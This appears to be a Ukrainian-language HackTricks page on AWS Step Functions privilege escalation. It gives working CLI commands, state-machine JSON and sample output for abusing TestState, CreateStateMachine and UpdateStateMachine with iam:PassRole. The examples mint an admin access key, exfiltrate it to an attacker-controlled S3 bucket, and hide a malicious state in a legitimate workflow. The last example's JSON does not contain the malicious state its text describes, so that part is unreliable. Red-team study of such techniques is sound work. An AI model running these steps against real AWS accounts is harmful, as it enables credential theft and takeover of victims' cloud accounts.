AWS - Step Functions Privesc
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Step Functions
Для отримання додаткової інформації про цю службу AWS, перевірте:
Task Resources
Ці техніки підвищення привілеїв вимагатимуть використання деяких ресурсів AWS step function для виконання бажаних дій підвищення привілеїв.
Щоб перевірити всі можливі дії, ви можете зайти у свій обліковий запис AWS, вибрати дію, яку ви хочете використовувати, і подивитися параметри, які вона використовує, як на:

Або ви також можете перейти до документації API AWS і перевірити документи для кожної дії:
states:TestState
& iam:PassRole
Зловмисник з дозволами states:TestState
та iam:PassRole
може тестувати будь-який стан і передавати будь-яку роль IAM без створення або оновлення існуючої машини станів, що потенційно дозволяє несанкціонований доступ до інших служб AWS з дозволами ролі. У поєднанні ці дозволи можуть призвести до широкомасштабних несанкціонованих дій, від маніпуляцій з робочими процесами для зміни даних до витоків даних, маніпуляцій з ресурсами та підвищення привілеїв.
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
Наступні приклади показують, як протестувати стан, який створює ключ доступу для користувача admin
, використовуючи ці дозволи та дозволену роль середовища AWS. Ця дозволена роль повинна мати будь-яку політику з високими привілеями, пов'язану з нею (наприклад, arn:aws:iam::aws:policy/AdministratorAccess
), яка дозволяє стану виконувати дію iam:CreateAccessKey
:
- stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
- Команда, виконана для виконання підвищення привілеїв:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
Потенційний вплив: Несанкціоноване виконання та маніпуляція робочими процесами та доступ до чутливих ресурсів, що може призвести до значних порушень безпеки.
states:CreateStateMachine
& iam:PassRole
& (states:StartExecution
| states:StartSyncExecution
)
Зловмисник з states:CreateStateMachine
& iam:PassRole
зможе створити машину станів і надати їй будь-яку IAM роль, що дозволить несанкціонований доступ до інших сервісів AWS з дозволами цієї ролі. На відміну від попередньої техніки підвищення привілеїв (states:TestState
& iam:PassRole
), ця не виконується сама по собі, вам також потрібно мати дозволи states:StartExecution
або states:StartSyncExecution
(states:StartSyncExecution
не доступний для стандартних робочих процесів, тільки для виразних машин станів) для того, щоб розпочати виконання над машиною станів.
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
Наступні приклади показують, як створити машину станів, яка створює ключ доступу для користувача admin
та ексфільтрує цей ключ доступу до S3 бакету, контрольованого зловмисником, використовуючи ці дозволи та дозволену роль середовища AWS. Ця дозволена роль повинна мати будь-яку політику з високими привілеями, пов'язану з нею (наприклад, arn:aws:iam::aws:policy/AdministratorAccess
), яка дозволяє машині станів виконувати дії iam:CreateAccessKey
та s3:putObject
.
- stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
- Команда, виконана для створення машини станів:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
- Команда, виконана для початку виконання раніше створеної машини станів:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
warning
Контрольований атакуючим S3 бакет повинен мати дозволи на прийняття дії s3:PutObject з облікового запису жертви.
Потенційний вплив: Неавторизоване виконання та маніпуляція робочими процесами та доступ до чутливих ресурсів, що може призвести до значних порушень безпеки.
states:UpdateStateMachine
& (не завжди необхідно) iam:PassRole
Атакуючий з дозволом states:UpdateStateMachine
зможе змінити визначення стану машини, маючи можливість додати додаткові приховані стани, які можуть призвести до ескалації привілеїв. Таким чином, коли легітимний користувач запускає виконання стану машини, цей новий шкідливий прихований стан буде виконано, і ескалація привілеїв буде успішною.
Залежно від того, наскільки дозволяючим є IAM роль, асоційована зі станом машини, атакуючий зіткнеться з 2 ситуаціями:
- Дозволяюча IAM роль: Якщо IAM роль, асоційована зі станом машини, вже є дозволяючою (вона має, наприклад, прикріплену політику
arn:aws:iam::aws:policy/AdministratorAccess
), тоді дозвілiam:PassRole
не буде необхідним для ескалації привілеїв, оскільки не буде необхідності також оновлювати IAM роль, з визначенням стану машини буде достатньо. - Недозволяюча IAM роль: На відміну від попереднього випадку, тут атакуючий також вимагатиме дозвіл
iam:PassRole
, оскільки буде необхідно асоціювати дозволяючу IAM роль зі станом машини, крім зміни визначення стану машини.
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
Наступні приклади показують, як оновити легітимну машину станів, яка просто викликає функцію HelloWorld Lambda, щоб додати додатковий стан, який додає користувача unprivilegedUser
до групи IAM administrator
. Таким чином, коли легітимний користувач запускає виконання оновленої машини станів, цей новий шкідливий прихований стан буде виконано, і ескалація привілеїв буде успішною.
warning
Якщо машина станів не має асоційованої дозволеної IAM ролі, також буде потрібен дозвіл iam:PassRole
для оновлення IAM ролі, щоб асоціювати дозволену IAM роль (наприклад, одну з прикріпленою політикою arn:aws:iam::aws:policy/AdministratorAccess
).
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
- Команда, виконана для оновлення легітимної машини станів:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
Потенційний вплив: Несанкціоноване виконання та маніпуляція робочими процесами та доступ до чутливих ресурсів, що може призвести до значних порушень безпеки.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.